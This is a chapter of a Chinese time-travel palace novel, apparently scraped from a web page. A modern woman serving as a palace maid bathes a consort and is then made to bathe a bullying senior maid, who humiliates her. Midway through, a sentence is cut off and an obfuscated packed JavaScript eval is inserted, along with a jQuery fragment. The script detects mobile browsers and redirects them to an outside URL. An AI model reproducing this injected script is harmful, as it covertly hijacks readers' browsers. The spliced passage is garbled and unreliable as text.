天黑了,宫墙外面响起打梆子声,酉正一刻,东配殿出来好些人,瞧着样子像是下班了,看得魏敏好生羡慕。
从凌晨5点到现在,她经历了入宫,长跪,干活,侍膳,守门,忙活了近13个小时,身上又疼又累,脑袋昏昏沉沉,困得眼睛都快睁不开了,却不知道什么时候才能躺床上痛痛快快睡一觉。
她低头悄悄打了个哈欠,擦掉眼角的生理泪水。
半个小时后,嘉嫔要了一份夜宵,一碗粳米粥+一碟芸豆卷。那碟芸豆卷一共8个,每个只有半个巴掌大小,一口就是一个,嘉嫔吃了2个就不吃了,剩下的6个宫女平分,魏敏也分到了1个。
约莫又过了半个小时,嘉嫔沐浴,太监们成群结队地从东配殿提热水、冷水送到正殿门内,再由魏敏、小慧两人一桶一桶地提到西次间的浴室。
然后把门一关,合拢槅扇门做的隔断,丽妍扶着嘉嫔绕过大屏风,几个大宫女便围着她忙活起来。
魏敏、小慧两个成了端盘子的,一个端着两摞高高的毛巾,供嘉嫔擦洗用,一个端着胰子、香粉等清洁保养用品。
值得一提的是,嘉嫔洗澡用的并不是如后世影视剧里那样的浴桶,而是一个浅底的大浴盆,枣红色的,上面漆满了杜鹃花,最底部还嵌有一圈银纹。
魏敏眼睁睁看见嘉嫔被剥光了衣服,露出一身雪白如凝脂的皮肤,宫女拿毛巾在热水里浸湿了再稍微拧一拧,在她的前胸、后背、臀腿等处轻柔地转圈擦拭,连屁股缝也要掰开了洗一洗。
魏敏:……
她虽然也去过澡堂,也只穿过小裤衩让搓操阿姨搓背,但是让人洗屁股缝什么的,实在是脚趾抓地。
你们贵族是真不害臊啊。
把嘉嫔全身的皮肤擦湿之后,涂上厚厚的玫瑰味胰子,轻搓出泡末;再扶着她坐进浴盆里,舀起热水将她身上的泡沫冲干净;再用毛巾擦干水渍,给全身涂上保养用的香粉;最后给她穿上干净的里衣,扶着她从西边走到卧室休息。
整个过程虽然繁琐复杂,但是几个宫女手脚极快,动作轻柔又有条理,有一种熟而生巧的美感,所以一共也只花了半个多小时。
魏敏心有所悟。
古代条件有限,即使是贵族女性也没办法天天泡澡洗头。因为水烧开之后要洗澡,就得先兑冷水,兑到40度左右,这样洗不了多久,水就冷了,水一冷人就容易着凉,古代医疗条件也差,着凉感冒是大病,实在不划算。
如果想像现代人那样,在浴室里洗头发,搓澡玩泡泡,唱歌跳舞发疯,敷面膜保养全身皮肤,看电视喝红酒,一泡两小时,就得专门找个地方建宫殿,挖个大池子,再建立类似自来水管道一样的水道,炉子上不停地烧热水,再让太监们不停地提水到宫殿外头,从水道入口灌进去,让热水顺着水道流进池子,保持40度左右的恒温。
这样会耗费大量的人力物力,还不如找个天然温泉建宫殿,利用地热泡澡娱乐放松,还有益健康,承德那边的汤泉行宫应该就是这么来的。
正胡思乱想着,银珠出来了,抬手冲浴室一指:“你们两个,把这里打扫干净。”
魏敏回神,赶紧答应:“那嘉主子换下的衣裳和这些用过的毛巾怎么处理?”
银珠道:“收拾到箱子里,交给外面的小福子就行了,他会处理的。”
魏敏应声照做。
箱子拖到正殿门口,一个青年太监客气地说:“辛苦姑娘了,我来,我来!”
说罢他一挥手,两个粗使太监上前,抬走了箱子。
魏敏抬眼看过去,发现他就是白天迎嘉嫔回宫时和丽娜并排跪着的太监,半旧的蓝布袍子,材质比普通太监穿的好一些,显出几分体面。
原来他就是小福子,不对,她没资格喊小福子,得喊福公公。
魏敏冲他笑笑,转身回到浴室。
她挽起袖子,将澡盆里的脏水一瓢瓢舀到木桶里,提到门外交给太监,再接过太监送来的干净水。两人擦柱子擦墙壁,擦屏风擦隔断,洗澡盆洗地板,擦干净所有的水渍,将浴室打扫得一尘不然。
魏敏从地上爬起来,累得腰酸背痛直喘气:“姑姑,打扫好了,您看看。”
银珠进去检查了一圈,满意点头。
这两个小丫头虽然各有各的缺点,但干活肯下力气,做事也挺仔细的,是两个好帮手。
“主子要歇着了,别杵在这里碍事,回吧。”
魏敏心中狂喜,知道今天的工作结束了,屁颠屁颠跟在银珠后面回到了下人房。
结果刚一进门,银珠便一屁股坐在椅子上,懒洋洋地使唤她们:“去厨房提两桶热水来,伺候我洗澡。”
魏敏一愣,指着自己鼻子确认:“我啊?”
银珠斥道:“啰嗦什么,还不快去!”
魏敏哦了一声,提着木桶垂头丧气走出房门。
她暗暗嘲讽自己,叫你看别人的好戏,这下好了吧,轮到你给别人洗屁股缝了。
魏敏打了个寒颤,不愿意再想。
小厨房里空荡荡的,只剩下两个太监,一个看门,一个守火。魏敏对那看门的说:“丽娜银珠两位姑姑要洗澡,还有热水么?”
看门的笑道:“有,正在灶上烧着呐。”
小慧揭开盖子,大铁锅里的水咕噜噜冒泡,正是沸腾之态。她拿起葫芦瓢,一瓢一瓢地将沸水舀进木桶里。水汽上升,烫红了她的手指和手背,她却浑然不觉。
魏敏看得不忍心:“我来吧,你去舀冷水,两位姑姑不知道喜欢什么样的水温,咱们热水冷水都准备一点,回去再兑。”
小慧点点头,弯腰提起另一个空木桶,去水缸处舀冷水。
魏敏舍不得虐待自己的手,葫芦瓢烫,就舀一瓢再吹一吹,等小慧提了冷水过来,便直接用冷水涮手隔温。
提水回去的路上,她一直在给自己做心理建设。
不就是给人搓澡吗?没什么大不了的。
进宫做了宫女,这种事情就避免不了。
就当兼职做搓澡阿姨了。
实在不行,就把银珠当作桌子椅子凳子,擦擦灰,清理清理缝隙处的污垢。
啊,不行不行,受不了受
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878754|159697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不了,魏敏又打了个寒颤,心理建设半途而废。
她硬着头皮走进去,关上房门,调整好水温,伺候银珠脱衣洗澡。
热毛巾擦过银珠的双臂,她在心里念叨,这是椅子扶手,这是椅子扶手。
热毛巾擦过银珠的胸脯,她在心里念叨,这是椅子靠背,这是椅子靠背。
热毛巾擦过银珠的屁股,她在心里念叨,这是……
……
依靠不间断的心理暗示,魏敏木着一张脸完成了擦洗。整个过程相对比较简单,没有涂胰子,没有淋浴,没有擦干,也没有香粉保养,用热水擦过一遍就能穿上衣服了。
银珠穿着红肚兜和短裤,在椅子上凹了个高傲的姿势,把脚趾杵到魏敏鼻尖底下:“洗脚吧。”
魏敏闭了闭眼,暗暗咬牙。
是可忍,孰不可忍。
你奶奶的,还得寸进尺了是吧?
信不信我把这一盆洗脚水扣你脑袋上?!
银珠见她久久不动,一脚蹬她肩膀上:“愣着干什么?快洗啊!水都要冷了。”
魏敏情绪一僵,臊眉耷眼地应道:“是。”
她蹲下来,学银珠给嘉嫔洗脚的样子捧起两只脚放进盆里,用毛巾轻搓按摩。
搓着搓着,她就走了神。
刚刚银珠在椅子上凹的姿势,好眼熟啊。
就好像……银珠给嘉嫔洗脚时,嘉嫔坐在椅子上的姿势。
嘶——魏敏倒吸一口凉气,眉头微皱。
银珠在模仿嘉嫔?在自己面前,银珠觉得她是主子?或者银珠想当嘉嫔一样的主子?
那如果投其所好,能不能获得银珠的信任?让银珠视她如心腹,全心全意地培养她呢?
银珠见她一会儿发愣一会儿皱眉,分外不爽,扬脚一甩,把洗脚水甩她脸上。
“想什么呢?专心点儿。”
魏敏下意识闭眼躲闪,然而已经来不及了,洗脚水糊了一脸,头发也湿了,水滴答滴答地往下落。
她回过神来,登时就惊呆了。
银珠瞅她不可思议的样子,傻乎乎的像一只呆头鹅,顿时觉得痛快又有趣,仰头掩唇笑得花枝乱颤。
“哈哈……哈哈哈……”
丽娜厉声喝止:“银珠。”
银珠不笑了,却仍要犟嘴:“你瞅她那样,要是真给主子洗脚还走了神,拉出去打板子也不为过,我就是给她一个教训。”
丽娜懒得跟她争口舌,温声对魏敏说:“去把脸擦一下吧。”
魏敏木然点头。
干净柔软的毛巾擦过脸颊,她默默地想,真的要投其所好么?
在她面前,银珠自认是主子,那就意味着她把她当奴才,不是徒弟,不是学徒,是尊卑分明,不但要任劳任怨辛苦做活,还要无条件做她的情绪垃圾桶,挨打挨骂挨批评,被几乎是侮辱性质地拿来逗闷子的奴才。
真的要主动把自己放到如此卑贱的地位吗?
魏敏一向身段柔软,认为能屈能伸才是真豪杰。
但是这一次,她是真弯不下这个腰啊。